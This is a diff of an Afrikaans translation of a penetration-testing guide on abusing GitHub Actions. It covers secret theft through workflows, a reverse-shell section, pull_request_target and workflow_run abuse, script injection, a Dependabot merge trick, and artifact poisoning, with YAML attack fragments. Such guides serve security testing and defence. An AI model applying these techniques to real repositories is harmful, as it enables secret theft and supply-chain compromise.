Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -4,53 +4,53 @@
 
 ## Gereedskap
 
-Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare ones:
+Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare eenhede te identifiseer:
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Kyk ook na sy kontrolelys in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Kyk ook na die checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
 
 ## Basiese Inligting
 
-Op hierdie bladsy sal jy vind:
+Op hierdie bladsy vind jy:
 
-- 'n **opsomming van al die impakte** van 'n aanvaller wat daarin slaag om toegang tot 'n Github Action te verkry
-- Verskillende maniere om **toegang tot 'n aksie** te verkry:
-- Om **toestemmings** te hê om die aksie te skep
-- Misbruik van **pull request** verwante triggers
+- 'n **opsomming van alle impakte** van 'n attacker wat daarin slaag om toegang tot 'n Github Action te kry
+- Verskillende maniere om **toegang tot 'n action te kry**:
+- Om **permissions** te hê om die action te skep
+- Misbruik van **pull request**-verwante triggers
 - Misbruik van **ander eksterne toegang** tegnieke
-- **Pivoting** vanaf 'n reeds gecompromitteerde repo
-- Laastens, 'n afdeling oor **post-exploitation tegnieke om 'n aksie van binne te misbruik** (om die genoemde impakte te veroorsaak)
+- **Pivoting** vanaf 'n reeds gekompromitteerde repo
+- Laastens, 'n afdeling oor **post-exploitation techniques to abuse an action from inside** (om die genoemde impakte te veroorsaak)
 
 ## Opsomming van Impakte
 
-Vir 'n inleiding oor [**Github Actions kyk na die basiese inligting**](../basic-github-information.md#github-actions).
+Vir 'n inleiding oor [**Github Actions, sien die basiese inligting**](../basic-github-information.md#github-actions).
 
-As jy **arbitraire kode in GitHub Actions** binne 'n **repo** kan **uitvoer**, kan jy dalk:
+As jy kan **arbitrêre code in GitHub Actions uitvoer** binne 'n **repository**, kan jy moontlik:
 
-- **Geheime** gesteel wat aan die pyplyn gemonteer is en **misbruik van die pyplyn se voorregte** om ongeoorloofde toegang tot eksterne platforms, soos AWS en GCP, te verkry.
-- **Ontplooiings** en ander **artefakte** kompromenteer.
-- As die pyplyn bates ontplooi of stoor, kan jy die finale produk verander, wat 'n voorsieningskettingaanval moontlik maak.
-- **Kode in pasgemaakte werkers uitvoer** om rekenaarkrag te misbruik en na ander stelsels te pivot.
-- **Oorskryf van repo kode**, afhangende van die toestemmings wat met die `GITHUB_TOKEN` geassosieer is.
+- **Steel geheime** wat aan die pipeline gemonteer is en **misbruik die pipeline se bevoegdhede** om ongeoorloofde toegang tot eksterne platforms te kry, soos AWS en GCP.
+- **Kompromiseer deployments** en ander **artifacts**.
+- As die pipeline assets ontplooi of stoor, kan jy die finale produk verander en sodoende 'n supply chain attack moontlik maak.
+- **Voer code uit in custom workers** om rekenkrag te misbruik en na ander stelsels te pivot.
+- **Oorskryf repository-kode**, afhangend van die permissions wat geassosieer word met die `GITHUB_TOKEN`.
 
 ## GITHUB_TOKEN
 
-Hierdie "**geheim**" (kom van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aktiveer:
+Hierdie "**secret**" (wat kom van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aktiveer:
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-Hierdie token is dieselfde een wat 'n **Github Toepassing sal gebruik**, sodat dit toegang tot dieselfde eindpunte kan hê: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Hierdie token is dieselfde een wat 'n **Github Application** sal gebruik, sodat dit toegang tot dieselfde endpoints kan kry: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github moet 'n [**flow**](https://github.com/github/roadmap/issues/74) vrystel wat **cross-repository** toegang binne GitHub toelaat, sodat 'n repo ander interne repos kan benader met die `GITHUB_TOKEN`.
+> Github behoort 'n [**flow**](https://github.com/github/roadmap/issues/74) vry te stel wat **allows cross-repository** toegang binne GitHub moontlik maak, sodat 'n repo ander interne repos kan bereik met die `GITHUB_TOKEN`.
 
-Jy kan die moontlike **toestemmings** van hierdie token sien in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Jy kan die moontlike **permissions** van hierdie token sien by: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Let daarop dat die token **verval nadat die werk voltooi is**.\
-Hierdie tokens lyk soos volg: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Let wel dat die token **verval nadat die job voltooi is**.\
+Hierdie tokens lyk soos dit: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
 Sommige interessante dinge wat jy met hierdie token kan doen:
 
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
 -d '{"event":"APPROVE"}'
 ```
 {{#endtab }}
-{{#tab name="Skep PR" }}
+{{#tab name="Create PR" }}
 ```bash
 # Create a PR
 curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Let daarop dat jy in verskeie gevalle **github gebruikers tokens binne Github Actions omgewings of in die geheime** sal kan vind. Hierdie tokens kan jou meer voorregte oor die repository en organisasie gee.
+> Let wel dat jy in verskeie gevalle **github user tokens binne Github Actions envs of in die secrets** sal kan vind. Hierdie tokens kan jou meer voorregte oor die repository en organization gee.
 
 <details>
 
-<summary>lys geheime in Github Action uitvoer</summary>
+<summary>Lys secrets in Github Action uitset</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Kry omgekeerde skulp met geheime</summary>
+<summary>Kry reverse shell met secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-Dit is moontlik om die toestemmings wat aan 'n Github Token in ander gebruikers se repositories gegee is, te kontroleer deur die **logs** van die aksies te kyk:
+Dit is moontlik om die toestemmings wat aan 'n Github Token gegee is in ander gebruikers se repositories te kontroleer deur **die logs** van die actions na te gaan:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
-## Toegelate Uitvoering
+## Toegestane Uitvoering
 
 > [!NOTE]
-> Dit sou die maklikste manier wees om Github aksies te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **'n nuwe repo in die organisasie te skep**, of **skryfregte oor 'n repository** het.
+> Dit sou die maklikste manier wees om Github actions te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **create a new repo in the organization**, of het **write privileges over a repository**.
 >
-> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) nagaan.
+> If you are in this scenario you can just check the [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
 
-### Uitvoering vanaf Repo Skepping
+### Uitvoering vanaf Repo-skepping
 
-In die geval dat lede van 'n organisasie **nuwe repos** kan **skep** en jy kan github aksies uitvoer, kan jy **'n nuwe repo skep en die geheime wat op organisasievlak gestel is, steel**.
+In geval lede van 'n organization nuwe repos kan **create new repos** en jy kan Github actions uitvoer, kan jy 'n nuwe repo skep en **create a new repo and steal the secrets set at organization level**.
 
-### Uitvoering vanaf 'n Nuwe Tak
+### Uitvoering vanaf 'n Nuwe Branch
 
-As jy **'n nuwe tak in 'n repository wat reeds 'n Github Action** geconfigureer het, kan **skep**, kan jy dit **wysig**, die inhoud **oplaai**, en dan **daardie aksie vanaf die nuwe tak uitvoer**. Op hierdie manier kan jy **repository en organisasievlak geheime** **uitvoer** (maar jy moet weet hoe hulle genoem word).
+As jy kan **create a new branch in a repository that already contains a Github Action** configured, kan jy dit **modify**, die inhoud **upload**, en dan daardie action **execute that action from the new branch**. Op hierdie manier kan jy **exfiltrate repository and organization level secrets** (maar jy moet weet hoe hulle genoem word).
 
-Jy kan die gewysigde aksie **handmatig** uitvoerbaar maak, wanneer 'n **PR geskep word** of wanneer **enige kode gepush word** (afhangende van hoe luidrugtig jy wil wees):
+> [!WARNING]
+> Enige beperking wat slegs in die workflow YAML geïmplementeer is (byvoorbeeld, `on: push: branches: [main]`, job conditionals, or manual gates) kan deur medewerkers gewysig word. Sonder eksterne afdwinging (branch protections, protected environments, and protected tags), kan 'n bydraer 'n workflow herlei om op hul branch te hardloop en gemonteerde secrets/permissions misbruik.
+
+Jy kan die gewysigde action uitvoerbaar maak **manually**, wanneer 'n **PR** geskep word of wanneer sekere kode gepush word (afhangend van hoe luidrugtig jy wil wees):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -177,49 +180,49 @@ branches:
 ```
 ---
 
-## Forked Uitvoering
+## Forked-uitvoering
 
 > [!NOTE]
-> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n **Github Action van 'n ander repository** te **uitvoer**. As daardie triggerbare aksies swak gekonfigureer is, kan 'n aanvaller in staat wees om hulle te kompromitteer.
+> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n **execute a Github Action of another repository**. As daardie triggerbare actions swak gekonfigureer is, kan 'n aanvaller dit moontlik kompromitteer.
 
 ### `pull_request`
 
-Die werksvloei-trigger **`pull_request`** sal die werksvloei uitvoer elke keer as 'n pull request ontvang word met 'n paar uitsonderings: standaard, as dit die **eerste keer** is dat jy **saamwerk**, sal 'n **onderhouer** die **uitvoering** van die werksvloei moet **goedkeur**:
+Die workflow-trigger **`pull_request`** sal die workflow uitvoer elke keer as 'n pull request ontvang word, met 'n paar uitsonderings: volgens verstek, as dit die **first time** is dat jy **collaborating**, sal 'n **maintainer** die **approve** van die **run** van die workflow moet doen:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Aangesien die **standaard beperking** vir **eerste keer** bydraers is, kan jy bydrae **deur 'n geldige fout/typo te herstel** en dan **ander PRs stuur om jou nuwe `pull_request` voorregte te misbruik**.
+> Omdat die **default limitation** vir **first-time** contributors is, kan jy bydra deur **fixing a valid bug/typo** en dan **ander PRs te stuur om jou nuwe `pull_request` privileges te abuse**.
 >
-> **Ek het dit getoets en dit werk nie**: ~~‘n Ander opsie sou wees om 'n rekening te skep met die naam van iemand wat by die projek bygedra het en sy rekening te verwyder.~~
+> **Ek het dit getoets en dit werk nie**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
 
-Boonop **verhoed dit standaard skryfrechten** en **toegang tot geheime** tot die teikrepository soos genoem in die [**dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Verder verhoed dit volgens verstek **write permissions** en **secrets access** tot die target repository soos vermeld in die [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
-> Met die uitsondering van `GITHUB_TOKEN`, **word geheime nie aan die hardeware oorgedra** wanneer 'n werksvloei van 'n **forked** repository geaktiveer word nie. Die **`GITHUB_TOKEN` het slegs leesregte** in pull requests **van forked repositories**.
+> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
 
-'n Aanvaller kan die definisie van die Github Action wysig om arbitrêre dinge uit te voer en arbitrêre aksies by te voeg. Hy sal egter nie in staat wees om geheime te steel of die repo te oorskryf nie weens die genoem beperkings.
+'n Aanvaller kan die definisie van die Github Action wysig om arbitraire dinge uit te voer en ekstra actions by te voeg. Hy sal egter nie in staat wees om secrets te steel of die repo oor te skryf nie weens die genoemde beperkings.
 
 > [!CAUTION]
-> **Ja, as die aanvaller in die PR die github action wat geaktiveer sal word, verander, sal sy Github Action die een wees wat gebruik word en nie die een van die oorspronklike repo nie!**
+> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
 
-Aangesien die aanvaller ook die kode wat uitgevoer word, beheer, kan 'n aanvaller byvoorbeeld **kwaadaardige artefakte oplaai**, selfs al is daar nie geheime of skryfrechten op die `GITHUB_TOKEN` nie.
+Aangesien die aanvaller ook die kode wat uitgevoer word beheer, selfs al is daar nie secrets of write permissions op die `GITHUB_TOKEN` nie, kan 'n aanvaller byvoorbeeld **upload malicious artifacts**.
 
 ### **`pull_request_target`**
 
-Die werksvloei-trigger **`pull_request_target`** het **skryfrechten** tot die teikrepository en **toegang tot geheime** (en vra nie vir toestemming nie).
+Die workflow-trigger **`pull_request_target`** het **write permission** tot die target repository en **access to secrets** (en vra nie toestemming nie).
 
-Let daarop dat die werksvloei-trigger **`pull_request_target`** **in die basis konteks** loop en nie in die een gegee deur die PR nie (om **nie onbetroubare kode uit te voer**). Vir meer inligting oor `pull_request_target` [**kyk die dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk hierdie [**github blogpos**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Neem kennis dat die workflow-trigger **`pull_request_target`** **runs in the base context** en nie in die een wat deur die PR gegee word nie (om **not execute untrusted code**). Vir meer inligting oor `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk na hierdie [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Dit mag lyk asof die **uitgevoerde werksvloei** die een is wat in die **basis** gedefinieer is en **nie in die PR nie**, dit is **veilig** om **`pull_request_target`** te gebruik, maar daar is 'n **paar gevalle waar dit nie is nie**.
+Dit mag lyk omdat die **executed workflow** die een is wat in die **base** gedefinieer is en **nie in die PR** nie, dat dit **secure** is om **`pull_request_target`** te gebruik, maar daar is 'n **paar gevalle waar dit nie is nie**.
 
-En hierdie een sal **toegang tot geheime** hê.
+En hierdie een sal **access to secrets** hê.
 
 ### `workflow_run`
 
-Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe om 'n werksvloei van 'n ander een te laat loop wanneer dit `voltooi`, `gevraag` of `in_progress` is.
+Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe om 'n workflow te laat loop vanaf 'n ander wanneer dit `completed`, `requested` of `in_progress` is.
 
-In hierdie voorbeeld is 'n werksvloei geconfigureer om te loop nadat die aparte "Toets Loop" werksvloei voltooi is:
+In hierdie voorbeeld is 'n workflow gekonfigureer om te loop nadat die aparte "Run Tests" workflow voltooi is:
 ```yaml
 on:
 workflow_run:
@@ -227,37 +230,37 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Moreover, volgens die dokumentasie: Die werksvloei wat deur die `workflow_run` gebeurtenis begin is, kan **toegang tot geheime hê en tokens skryf, selfs al was die vorige werksvloei nie**.
+Boonop, volgens die docs: Die workflow wat deur die `workflow_run` event begin is, kan **secrets en write tokens toegang hê, selfs al het die vorige workflow dit nie gedoen nie**.
 
-Hierdie tipe werksvloei kan aangeval word as dit **afhang** van 'n **werksvloei** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** geaktiveer kan word. 'n Paar kwesbare voorbeelde kan [**in hierdie blog gevind word**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Die eerste een bestaan uit die **`workflow_run`** geaktiveerde werksvloei wat die aanvallerskode aflaai: `${{ github.event.pull_request.head.sha }}`\
-Die tweede een bestaan uit **die oordrag** van 'n **artefak** van die **onbetroubare** kode na die **`workflow_run`** werksvloei en die gebruik van die inhoud van hierdie artefak op 'n manier wat dit **kwesbaar maak vir RCE**.
+Hierdie tipe workflow kan aangeval word as dit **afhang** van 'n **workflow** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** kan **getrigger**. 'n Paar kwesbare voorbeelde kan [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Die eerste een bestaan uit die deur **`workflow_run`** getriggerde workflow wat die aanvallers se kode aflaai: `${{ github.event.pull_request.head.sha }}`\
+Die tweede bestaan uit die **oorhandig** van 'n **artifact** van die **onbetroubare** kode aan die **`workflow_run`** workflow en die gebruik van die inhoud van hierdie artifact op 'n wyse wat dit **kwesbaar vir RCE** maak.
 
 ### `workflow_call`
 
 TODO
 
-TODO: Kontroleer of wanneer dit vanaf 'n pull_request uitgevoer word, die gebruikte/afgelaaide kode die een van die oorsprong of van die geforkte PR is.
+TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
 
-## Misbruik van Geforkte Uitvoering
+## Misbruik van geforkte uitvoering
 
-Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n github werksvloei kan laat uitvoer, nou kom ons kyk na hoe hierdie uitvoerings, as dit sleg gekonfigureer is, misbruik kan word:
+Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n github workflow kan laat uitvoer; kom ons kyk nou hoe hierdie uitvoerings, as dit sleg gekonfigureer is, misbruik kan word:
 
-### Onbetroubare checkout uitvoering
+### Onbetroubare checkout-uitvoering
 
-In die geval van **`pull_request`,** sal die werksvloei in die **konteks van die PR** uitgevoer word (so dit sal die **kwesbare PR-kode** uitvoer), maar iemand moet dit **eers goedkeur** en dit sal met 'n paar [beperkings](#pull_request) loop.
+In die geval van **`pull_request`,** gaan die workflow in die **konteks van die PR** uitgevoer word (dus sal dit die **kwaadwillige PR's code** uitvoer), maar iemand moet dit eers **magtig** en dit sal met sekere [beperkings](#pull_request) loop.
 
-In die geval van 'n werksvloei wat **`pull_request_target` of `workflow_run`** gebruik wat afhang van 'n werksvloei wat geaktiveer kan word vanaf **`pull_request_target` of `pull_request`** sal die kode van die oorspronklike repo uitgevoer word, so die **aanvaller kan nie die uitgevoerde kode beheer nie**.
+In die geval van 'n workflow wat **`pull_request_target` of `workflow_run`** gebruik wat afhang van 'n workflow wat van **`pull_request_target` of `pull_request`** ge-trigger kan word, sal die kode van die oorspronklike repo uitgevoer word, so die **aanvaller kan nie die uitgevoerde kode beheer nie**.
 
 > [!CAUTION]
-> egter, as die **aksie** 'n **duidelike PR checkout** het wat **die kode van die PR** (en nie van die basis nie) sal **kry**, sal dit die aanvallers beheerde kode gebruik. Byvoorbeeld (kyk na lyn 12 waar die PR-kode afgelaai word):
+> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
 
-<pre class="language-yaml"><code class="lang-yaml"># ONVEILIG. Verskaf net as 'n voorbeeld.
+<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
 pull_request_target
 
 jobs:
 build:
-name: Bou en toets
+name: Build and test
 runs-on: ubuntu-latest
 steps:
 <strong>    - uses: actions/checkout@v2
@@ -276,35 +279,35 @@ arg1: ${{ secrets.supersecret }}
 - uses: fakerepo/comment-on-pr@v1
 with:
 message: |
-Dankie!
+Thank you!
 </code></pre>
 
-Die potensieel **onbetroubare kode word tydens `npm install` of `npm build` uitgevoer** aangesien die bou skripte en verwysde **pakkette deur die skrywer van die PR** beheer word.
+Die moontlik **onbetroubare code word tydens `npm install` of `npm build` uitgevoer** aangesien die build-skripte en verwysde **packages deur die skrywer van die PR beheer word**.
 
 > [!WARNING]
-> 'n github dork om vir kwesbare aksies te soek is: `event.pull_request pull_request_target extension:yml` egter, daar is verskillende maniere om die werksgeleenthede veilig uit te voer selfs al is die aksie onveilig gekonfigureer (soos om voorwaardes te gebruik oor wie die akteur is wat die PR genereer).
+> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
 
-### Konteks Skrip Injekties <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
+### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Let daarop dat daar sekere [**github kontekste**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is waarvan die waardes **beheer** word deur die **gebruiker** wat die PR skep. As die github aksie daardie **data gebruik om enigiets uit te voer**, kan dit lei tot **arbitraire kode-uitvoering:**
+Neem kennis dat daar sekere [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is waarvan die waardes deur die **user** wat die PR skep **beheer** word. As die github action daardie **data gebruik om enigiets uit te voer**, kan dit lei tot **arbitrary code execution:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **GITHUB_ENV Skrip Injektion** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-Volgens die dokumentasie: Jy kan 'n **omgewing veranderlike beskikbaar maak vir enige daaropvolgende stappe** in 'n werksvloei werk deur die omgewing veranderlike te definieer of op te dateer en dit na die **`GITHUB_ENV`** omgewing lêer te skryf.
+Volgens die docs: Jy kan 'n **environment variable beskikbaar maak vir enige daaropvolgende stappe** in 'n workflow job deur die omgewingveranderlike te bepaal of by te werk en dit na die **`GITHUB_ENV`** environment file te skryf.
 
-As 'n aanvaller **enige waarde** binne hierdie **env** veranderlike kan **injekteer**, kan hy env veranderlikes in die volgende stappe inbring wat kode kan uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
+As 'n aanvaller enige waarde in hierdie **env**-veranderlike kon **injekeer**, kan hy omgewingveranderlikes inspuit wat kode in volgende stappe kan laat uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
 
-Byvoorbeeld ([**hierdie**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) en [**hierdie**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel jou voor 'n werksvloei wat 'n geuploade artefak vertrou om sy inhoud binne die **`GITHUB_ENV`** env veranderlike te stoor. 'n aanvaller kan iets soos dit oplaai om dit te kompromitteer:
+Byvoorbeeld ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) en [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel jou 'n workflow voor wat 'n opgelaaide artifact vertrou om sy inhoud binne **`GITHUB_ENV`** env-variabele te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
 ### Dependabot en ander vertroude bots
 
-Soos aangedui in [**hierdie blogpos**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), het verskeie organisasies 'n Github Aksie wat enige PRR van `dependabot[bot]` soos in:
+Soos aangedui in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), het verskeie organisasies 'n Github Action wat enige PRR van `dependabot[bot]` saamvoeg soos in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Wat 'n probleem is omdat die `github.actor` veld die gebruiker bevat wat die laaste gebeurtenis veroorsaak het wat die werksvloei geaktiveer het. En daar is verskeie maniere om die `dependabot[bot]` gebruiker te laat 'n PR wysig. Byvoorbeeld:
+Wat 'n probleem is omdat die `github.actor` veld die gebruiker bevat wat die jongste gebeurtenis wat die workflow geaktiveer het, veroorsaak het. En daar is verskeie maniere om die `dependabot[bot]` gebruiker 'n PR te laat wysig. Byvoorbeeld:
 
-- Fork die slagoffer se repository
-- Voeg die kwaadwillige payload by jou kopie
-- Aktiveer Dependabot op jou fork deur 'n verouderde afhanklikheid by te voeg. Dependabot sal 'n tak skep wat die afhanklikheid met kwaadwillige kode regmaak.
-- Maak 'n Pull Request na die slagoffer se repository vanaf daardie tak (die PR sal deur die gebruiker geskep word, so niks sal nog gebeur nie)
-- Dan, gaan die aanvaller terug na die aanvanklike PR wat Dependabot in sy fork geopen het en voer `@dependabot recreate` uit
-- Dan, voer Dependabot 'n paar aksies in daardie tak uit, wat die PR oor die slagoffer repo gewysig het, wat `dependabot[bot]` die akteur van die laaste gebeurtenis maak wat die werksvloei geaktiveer het (en gevolglik, die werksvloei loop).
+- Fork die slagoffer repository
+- Voeg die malicious payload by jou kopie
+- Enable Dependabot op jou fork deur 'n outdated dependency by te voeg. Dependabot sal 'n branch skep wat die dependency regstel met malicious code.
+- Open 'n Pull Request na die slagoffer repository vanaf daardie branch (die PR sal deur die gebruiker geskep word so niks sal nog gebeur nie)
+- Dan gaan die aanvaller terug na die aanvanklike PR wat Dependabot in sy fork geopen het en voer `@dependabot recreate` uit
+- Dan voer Dependabot sekere aksies in daardie branch uit, wat die PR op die slagoffer repo wysig, wat `dependabot[bot]` die actor maak van die jongste gebeurtenis wat die workflow geaktiveer het (en daarom loop die workflow).
 
-Gaan voort, wat as die Github Action in plaas van om te meng 'n opdrag-inspuiting gehad het soos in:
+Verder, wat as, in plaas van 'n merge, die Github Action 'n command injection gehad het soos in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Wel, die oorspronklike blogpos stel twee opsies voor om hierdie gedrag te misbruik, waarvan die tweede is:
+Die oorspronklike blogpos stel wel twee opsies voor om hierdie gedrag te misbruik; die tweede is:
 
-- Fork die slagoffer se repository en stel Dependabot in met 'n verouderde afhanklikheid.
-- Skep 'n nuwe tak met die kwaadwillige shell-inspuitkode.
-- Verander die standaardtak van die repo na daardie een.
-- Skep 'n PR van hierdie tak na die slagoffer se repository.
-- Voer `@dependabot merge` uit in die PR wat Dependabot in sy fork geopen het.
-- Dependabot sal sy veranderinge in die standaardtak van jou geforkte repository saamvoeg, wat die PR in die slagoffer se repository opdateer en nou die `dependabot[bot]` die akteur van die jongste gebeurtenis maak wat die werksvloei geaktiveer het en 'n kwaadwillige taknaam gebruik.
+- Fork die slagoffer se repository en aktiveer Dependabot met 'n verouderde dependency.
+- Skep 'n nuwe branch met die kwaadwillige shell injeciton code.
+- Verander die default branch van die repo na daardie een
+- Skep 'n PR vanaf hierdie branch na die slagoffer se repository.
+- Run `@dependabot merge` in die PR wat Dependabot in sy fork oopgemaak het.
+- Dependabot sal sy veranderinge in die default branch van jou geforkte repository merge, die PR in die slagoffer se repository opdateer, en nou sal `dependabot[bot]` die actor wees van die jongste event wat die workflow getrigger het en 'n kwaadwillige branch name gebruik.
 
-### Kw vulnerable Derdeparty Github Actions
+### Kwetsbare derdeparty Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Soos genoem in [**hierdie blogpos**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), stel hierdie Github Action toegang tot artefakte van verskillende werksvloei en selfs repositories moontlik.
+As vermeld in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), hierdie Github Action laat toe om artifacts van verskillende workflows en selfs repositories te bereik.
 
-Die probleem is dat as die **`path`** parameter nie gestel is nie, die artefak in die huidige gids onttrek word en dit lêers kan oorskryf wat later gebruik of selfs in die werksvloei uitgevoer kan word. Daarom, as die Artefak kwesbaar is, kan 'n aanvaller dit misbruik om ander werksvloei te kompromitteer wat die Artefak vertrou.
+Die probleem is dat as die **`path`** parameter nie gestel is nie, die artifact in die huidige gids uitgepak word en dit lêers kan oorskryf wat later gebruik of selfs in die workflow uitgevoer kan word. Daarom, as die Artifact kwesbaar is, kan 'n aanvaller dit misbruik om ander workflows wat die Artifact vertrou te kompromitteer.
 
-Voorbeeld van 'n kwesbare werksvloei:
+Example of vulnerable workflow:
 ```yaml
 on:
 workflow_run:
@@ -373,7 +376,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-Dit kan aangeval word met hierdie werksvloei:
+Hierdie kan met hierdie workflow aangeval word:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -392,25 +395,25 @@ path: ./script.py
 
 ## Ander Eksterne Toegang
 
-### Verwyderde Namespace Repo Hijacking
+### Deleted Namespace Repo Hijacking
 
